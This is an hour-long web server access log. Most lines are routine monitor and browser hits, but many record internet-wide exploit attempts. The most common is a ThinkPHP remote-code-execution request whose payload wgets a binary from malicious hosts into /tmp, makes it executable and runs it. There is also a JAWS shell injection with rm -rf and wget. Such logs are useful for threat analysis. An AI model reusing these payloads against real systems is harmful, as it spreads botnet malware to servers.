79.172.45.166 - - [04/Feb/2020:19:22:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [04/Feb/2020:19:22:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:19:23:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:19:24:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.16.147.163 - - [04/Feb/2020:19:24:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:19:25:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.35.43 - - [04/Feb/2020:19:26:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:19:26:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.233.66.116 - - [04/Feb/2020:19:26:53 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
42.117.20.208 - - [04/Feb/2020:19:26:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
49.233.66.116 - - [04/Feb/2020:19:26:56 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
49.233.66.116 - - [04/Feb/2020:19:26:56 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
49.233.66.116 - - [04/Feb/2020:19:26:57 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
49.233.66.116 - - [04/Feb/2020:19:27:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [04/Feb/2020:19:27:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
182.39.229.132 - - [04/Feb/2020:19:27:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:19:28:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.132.168.60 - - [04/Feb/2020:19:29:32 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [04/Feb/2020:19:29:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.50.16.78 - - [04/Feb/2020:19:30:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:19:30:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.113.130.111 - - [04/Feb/2020:19:31:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:19:31:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
191.205.43.104 - - [04/Feb/2020:19:32:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
191.205.43.104 - - [04/Feb/2020:19:32:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [04/Feb/2020:19:32:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.20.255 - - [04/Feb/2020:19:33:02 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
124.47.8.10 - - [04/Feb/2020:19:33:16 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:19:33:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:19:34:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:19:35:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:19:36:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:19:37:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:19:38:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:19:39:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:19:40:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
197.2.174.98 - - [04/Feb/2020:19:41:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:19:41:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:19:42:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
51.254.59.113 - - [04/Feb/2020:19:43:08 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
212.91.246.72 - - [04/Feb/2020:19:43:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:19:44:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
210.7.13.166 - - [04/Feb/2020:19:44:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
186.232.6.69 - - [04/Feb/2020:19:45:04 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [04/Feb/2020:19:45:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
84.242.189.138 - - [04/Feb/2020:19:45:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [04/Feb/2020:19:46:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.53.26.111 - - [04/Feb/2020:19:46:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:19:47:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.162.209.26 - - [04/Feb/2020:19:48:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:19:48:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:19:49:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
37.49.231.120 - - [04/Feb/2020:19:50:16 +0100] "GET /tftpboot/ HTTP/1.1" 404 314 "-" "-"
37.49.231.120 - - [04/Feb/2020:19:50:26 +0100] "GET /0000000000000.cfg HTTP/1.1" 404 322 "-" "-"
212.91.246.72 - - [04/Feb/2020:19:50:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:19:51:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
37.49.231.120 - - [04/Feb/2020:19:52:21 +0100] "GET /tftpboot/ HTTP/1.1" 404 314 "-" "-"
212.91.246.72 - - [04/Feb/2020:19:52:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:19:53:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:19:54:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.97.129 - - [04/Feb/2020:19:54:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:19:55:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.71.75.154 - - [04/Feb/2020:19:55:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
198.108.66.64 - - [04/Feb/2020:19:56:01 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [04/Feb/2020:19:56:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.113.130.111 - - [04/Feb/2020:19:56:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
222.186.19.221 - - [04/Feb/2020:19:57:09 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
27.76.203.28 - - [04/Feb/2020:19:57:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:19:57:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:19:58:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.55.140.139 - - [04/Feb/2020:19:59:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:19:59:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [04/Feb/2020:20:00:20 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [04/Feb/2020:20:00:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:20:01:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:20:02:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.52.191.198 - - [04/Feb/2020:20:03:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:20:03:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:20:04:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
82.160.150.92 - - [04/Feb/2020:20:04:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
222.186.19.221 - - [04/Feb/2020:20:05:23 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [04/Feb/2020:20:05:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [04/Feb/2020:20:06:07 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [04/Feb/2020:20:06:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
147.30.172.85 - - [04/Feb/2020:20:07:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:20:07:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
171.61.153.174 - - [04/Feb/2020:20:07:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
42.117.20.98 - - [04/Feb/2020:20:08:27 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:20:08:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:20:09:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:20:10:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [04/Feb/2020:20:11:26 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
1.58.30.76 - - [04/Feb/2020:20:11:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:20:11:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.114.155.175 - - [04/Feb/2020:20:12:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
183.80.142.44 - - [04/Feb/2020:20:12:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:20:12:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [04/Feb/2020:20:13:36 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [04/Feb/2020:20:13:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [04/Feb/2020:20:14:31 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
123.232.172.66 - - [04/Feb/2020:20:14:31 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:20:14:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
37.49.231.120 - - [04/Feb/2020:20:15:25 +0100] "GET /0000000000000.cfg HTTP/1.1" 404 322 "-" "-"
212.91.246.72 - - [04/Feb/2020:20:15:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:20:16:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
37.49.231.120 - - [04/Feb/2020:20:17:36 +0100] "GET /tftpboot/ HTTP/1.1" 404 314 "-" "-"
212.91.246.72 - - [04/Feb/2020:20:17:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:20:18:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.18.27.255 - - [04/Feb/2020:20:19:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:20:19:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
220.250.63.58 - - [04/Feb/2020:20:19:53 +0100] "HEAD http://123.125.114.144/ HTTP/1.1" 200 - "-" "Mozilla/5.01715179 Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36 OPR/55.0.2994.44"
222.186.19.221 - - [04/Feb/2020:20:20:09 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [04/Feb/2020:20:20:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.71.19.165 - - [04/Feb/2020:20:20:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:20:21:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.22.79.72 - - [04/Feb/2020:20:22:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
222.186.19.221 - - [04/Feb/2020:20:22:32 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [04/Feb/2020:20:22:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:20:23:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.23.73.236 - - [04/Feb/2020:20:23:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:20:24:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.89.88 - - [04/Feb/2020:20:24:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
37.49.231.120 - - [04/Feb/2020:20:25:33 +0100] "GET /0000000000000.cfg HTTP/1.1" 404 322 "-" "-"
212.91.246.72 - - [04/Feb/2020:20:25:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.68.9.174 - - [04/Feb/2020:20:26:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:20:26:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.240.205.34 - - [04/Feb/2020:20:27:23 +0100] "Gh0st\xad" 501 321 "-" "-"
182.138.158.103 - - [04/Feb/2020:20:27:33 +0100] "HEAD http://123.125.114.144/ HTTP/1.1" 200 - "-" "Mozilla/5.01694878 Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.2) Gecko/20100115 Firefox/3.6 GTBDFff GTB7.0"
212.91.246.72 - - [04/Feb/2020:20:27:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
149.129.224.33 - - [04/Feb/2020:20:27:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
